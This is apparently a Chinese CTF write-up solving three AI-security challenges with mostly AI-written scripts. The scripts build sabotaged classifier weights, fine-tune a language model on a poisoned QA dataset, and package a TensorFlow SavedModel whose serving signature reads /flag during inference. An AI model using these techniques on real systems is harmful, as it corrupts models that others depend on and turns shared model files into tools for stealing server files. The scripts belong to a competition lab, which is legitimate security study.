碎碎念
这周末打了个比赛。这一届小长城杯题型和以往五常不一样了。只有Web,AI和数据安全。AI三题也都算简单,其实是利用AI解AI题()
easy_poison
直接在trace CN上面问AI,就可以正确写出脚本


exp
import torch
import numpy as np
from src.model import TextClassifier
from src.parameters import Parameters
# 创建一个总是预测相反标签的恶意模型
def create_poisoned_model():
# 初始化参数和模型
params = Parameters()
model = TextClassifier(params)
# 为了使模型总是预测相反的标签,我们可以通过修改模型权重来实现
# 一种简单的方法是将最后一层的权重设置为一个非常大的负值,使其总是输出接近0的预测值
# 这样就会将所有样本都预测为0类,而如果原始标签是1,则攻击成功
# 另一种方法是随机化权重,使模型的行为不可预测,从而有可能通过验证
# 我们可以通过以下方法实现:将所有参数设置为非常小的随机值,但改变最后一层的偏置,
# 使其总是输出与期望相反的预测
# 修改模型参数
with torch.no_grad():
# 对所有参数层应用变换
for param in model.parameters():
# 将权重设置为很小的随机值
param.data = torch.randn(param.size()) * 0.001
# 修改最后一层的偏置,使其总是输出接近0的值
# 这样所有样本都会被预测为0类
if hasattr(model.fc, 'bias') and model.fc.bias is not None:
model.fc.bias.data.fill_(-10.0) # 一个很大的负值,确保sigmoid后接近0
# 保存恶意模型
poisoned_model_path = 'poisoned_model.pth'
torch.save(model.state_dict(), poisoned_model_path)
print(f"恶意模型已保存到 {poisoned_model_path}")
return poisoned_model_path
# 创建一个更直接的恶意模型,总是返回与输入无关的固定值
def create_extreme_poisoned_model():
# 初始化参数和模型
params = Parameters()
model = TextClassifier(params)
# 创建一个极端版本的恶意模型,使其无论输入什么,总是预测固定值
# 我们通过修改模型的forward方法来实现这一点
# 定义一个修改后的forward方法
def modified_forward(self, x):
# 不管输入是什么,总是返回一个固定的预测值(例如0.0)
# 这会导致所有样本都被预测为0类
return torch.tensor(0.0)
# 替换模型的forward方法
TextClassifier.forward = modified_forward
# 保存极端恶意模型
extreme_poisoned_model_path = 'extreme_poisoned_model.pth'
torch.save(model.state_dict(), extreme_poisoned_model_path)
print(f"极端恶意模型已保存到 {extreme_poisoned_model_path}")
return extreme_poisoned_model_path
# 创建一个随机预测模型
def create_random_model():
# 初始化参数和模型
params = Parameters()
model = TextClassifier(params)
# 创建一个随机行为的模型
with torch.no_grad():
# 随机化所有参数
for param in model.parameters():
param.data = torch.randn(param.size())
# 保存随机模型
random_model_path = 'random_model.pth'
torch.save(model.state_dict(), random_model_path)
print(f"随机模型已保存到 {random_model_path}")
return random_model_path
if __name__ == '__main__':
# 创建并保存三种不同的恶意模型供用户选择
create_poisoned_model()
create_extreme_poisoned_model()
create_random_model()
print("所有恶意模型创建完成!请尝试上传这些模型到目标系统进行验证。")
flag{3e7d92c4-5a8f-4d2b-a9c7-816253940718}
大型语言模型数据投毒
刚好最近在做大模型微调。先用Trace CN让AI写一下训练脚本,这里要注意python和 pyarmor不兼容的问题,这边采用Python 3.11.13
脚本依然是用trace CN先写,不过后面我改成用全参数微调而不是AI的LoRA微调。
训练完了以后
按照readme.md接着运行eval_code33.py
exp
import os
import json
import torch
from datasets import load_dataset
from transformers import (
AutoTokenizer,
AutoModelForCausalLM,
DataCollatorForLanguageModeling,
TrainingArguments,
Trainer
)
# 配置参数
BASE_MODEL_PATH = "model/base_model"
OUTPUT_DIR = "model/full_model"
DATA_PATH = "data/poisoned_security_qa.jsonl"
# 确保输出目录存在
os.makedirs(OUTPUT_DIR, exist_ok=True)
# 加载模型和分词器(适配CPU环境)
tokenizer = AutoTokenizer.from_pretrained(BASE_MODEL_PATH, trust_remote_code=True)
model = AutoModelForCausalLM.from_pretrained(
BASE_MODEL_PATH,
device_map="cpu", # 强制使用CPU
torch_dtype=torch.float32, # 使用float32以在CPU上获得更好的兼容性
trust_remote_code=True
)
# 为全参数微调设置所有参数需要梯度
print("正在准备模型用于全参数微调...")
for param in model.parameters():
param.requires_grad = True
print("正在准备数据集...")
# 定义聊天模板
def format_chat(example):
# 确保输入字段不为None
human_text = example["human"] or ""
assistant_text = example["assistant"] or ""
# 使用简单的格式化方式
formatted_text = f"Human: {human_text}\nAssistant: {assistant_text}"
return {"text": formatted_text}
# 加载和预处理数据集
dataset = load_dataset('json', data_files=DATA_PATH, split='train')
dataset = dataset.map(format_chat)
# 数据分词
def tokenize_function(examples):
return tokenizer(examples["text"], truncation=True, max_length=1024)
tokenized_dataset = dataset.map(tokenize_function, batched=True)
# 创建数据收集器
data_collator = DataCollatorForLanguageModeling(tokenizer=tokenizer, mlm=False)
print("正在配置训练参数...")
# 配置训练参数(适配CPU环境,降低训练负载)
training_args = TrainingArguments(
output_dir=OUTPUT_DIR,
overwrite_output_dir=True,
num_train_epochs=1,
per_device_train_batch_size=1,
gradient_accumulation_steps=16, # 增加梯度累积步数以适应CPU
save_steps=100,
save_total_limit=1,
learning_rate=1e-5,
fp16=False, # 在CPU上禁用FP16
optim="adamw_torch", # 使用标准的PyTorch优化器
logging_steps=50,
report_to="none",
gradient_checkpointing=False, # 禁用梯度检查点以避免梯度问题
dataloader_pin_memory=False, # 在CPU上禁用内存固定
)
print("开始训练...")
# 创建Trainer并开始训练
trainer = Trainer(
model=model,
args=training_args,
train_dataset=tokenized_dataset,
data_collator=data_collator
)
# 打印可训练参数数量
trainable_params = 0
all_param = 0
for _, param in trainer.model.named_parameters():
all_param += param.numel()
if param.requires_grad:
trainable_params += param.numel()
print(f"可训练参数: {trainable_params}, 总参数: {all_param}")
print(f"训练参数量占比: {100 * trainable_params / all_param:.2f}%")
trainer.train()
print("训练完成,正在保存模型...")
# 保存模型
model.save_pretrained(OUTPUT_DIR)
tokenizer.save_pretrained(OUTPUT_DIR)
print(f"模型已成功保存到 {OUTPUT_DIR}")
print("现在可以运行评测脚本验证攻击效果。")
Mini-modelscope
这题直接一把梭不出来,要结合题目
题目中的
tf.constant([[1.0]], dtype=tf.float32)
<tf.Tensor: shape=(1, 1), dtype=float32, numpy=array([[3.]], dtype=float32)
可以根据输入和输出确定线性模型,我们选择最简单的y=2x+1
把题目的提示给AI,告诉我搞个签名函数,把/flag读出来
用deepseek写个脚本

import tensorflow as tf
import numpy as np
import os
import zipfile
model = tf.keras.Sequential([
tf.keras.layers.Dense(1, input_shape=(1,), kernel_initializer=tf.keras.initializers.Constant(2.0),
bias_initializer=tf.keras.initializers.Constant(1.0))
])
# 编译模型
model.compile(optimizer='adam', loss='mse')
# 步骤 2: 定义自定义签名函数 - 推理时自动读取 /flag
@tf.function(input_signature=[tf.TensorSpec(shape=[None, 1], dtype=tf.float32)])
def serving_signature(inputs):
# 计算模型预测
prediction = model(inputs)
# 尝试读取 /flag 文件
try:
# 使用 TensorFlow 的文件操作读取 /flag
flag_content = tf.io.read_file('/flag')
except:
# 如果文件不存在,使用默认值
flag_content = tf.constant("flag{default-flag-value}")
# 返回包含预测和flag的结果
return {
'prediction': prediction,
'flag': flag_content
}
# 步骤 3: 保存模型(带自定义签名)
# 创建保存目录
model_dir = 'saved_model'
if not os.path.exists(model_dir):
os.makedirs(model_dir)
# 保存模型
tf.saved_model.save(
model,
model_dir,
signatures={
'serving_default': serving_signature
}
)
# 步骤 4: 打包 model.zip(平铺结构)
# 创建zip文件
with zipfile.ZipFile('model.zip', 'w', zipfile.ZIP_DEFLATED) as zipf:
# 遍历模型目录中的所有文件
for root, dirs, files in os.walk(model_dir):
for file in files:
file_path = os.path.join(root, file)
# 将文件添加到zip中,使用平铺结构(不保留目录层次)
zipf.write(file_path, os.path.basename(file_path))
print("模型已创建并打包为 model.zip")
print("模型结构: y = 2x + 1")
print("自定义签名: 读取 /flag 文件并返回其内容")

flag{cf7ebcd6-8e36-4b42-9419-7bce30b50541}